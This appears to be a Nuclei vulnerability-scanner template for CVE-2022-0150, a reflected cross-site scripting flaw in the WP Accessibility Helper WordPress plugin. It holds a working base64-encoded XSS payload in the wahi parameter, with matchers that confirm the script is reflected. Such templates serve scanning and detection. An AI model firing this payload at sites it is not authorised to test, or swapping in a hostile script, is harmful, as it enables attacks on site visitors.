id: CVE-2022-0150

info:
  name: WP Accessibility Helper (WAH) < 0.6.0.7 - Cross-Site Scripting (XSS)
  author: dhiyaneshDK
  severity: medium
  description: |
    The plugin does not sanitise and escape the wahi parameter before outputting back its base64 decode value in the page, leading to a Reflected Cross-Site Scripting issue.
  reference:
    - https://wpscan.com/vulnerability/7142a538-7c3d-4dd0-bd2c-cbd2efaf53c5
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0150
    - https://plugins.trac.wordpress.org/changeset/2661008
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-0150
    cwe-id: CWE-79
  tags: wordpress,wp-plugin,wp,wpscan,cve,cve2022,xss

requests:
  - method: GET
    path:
      - '{{BaseURL}}/?wahi=JzthbGVydChkb2N1bWVudC5kb21haW4pOy8v'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "var wah_target_src = '';alert(document.domain);//';"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200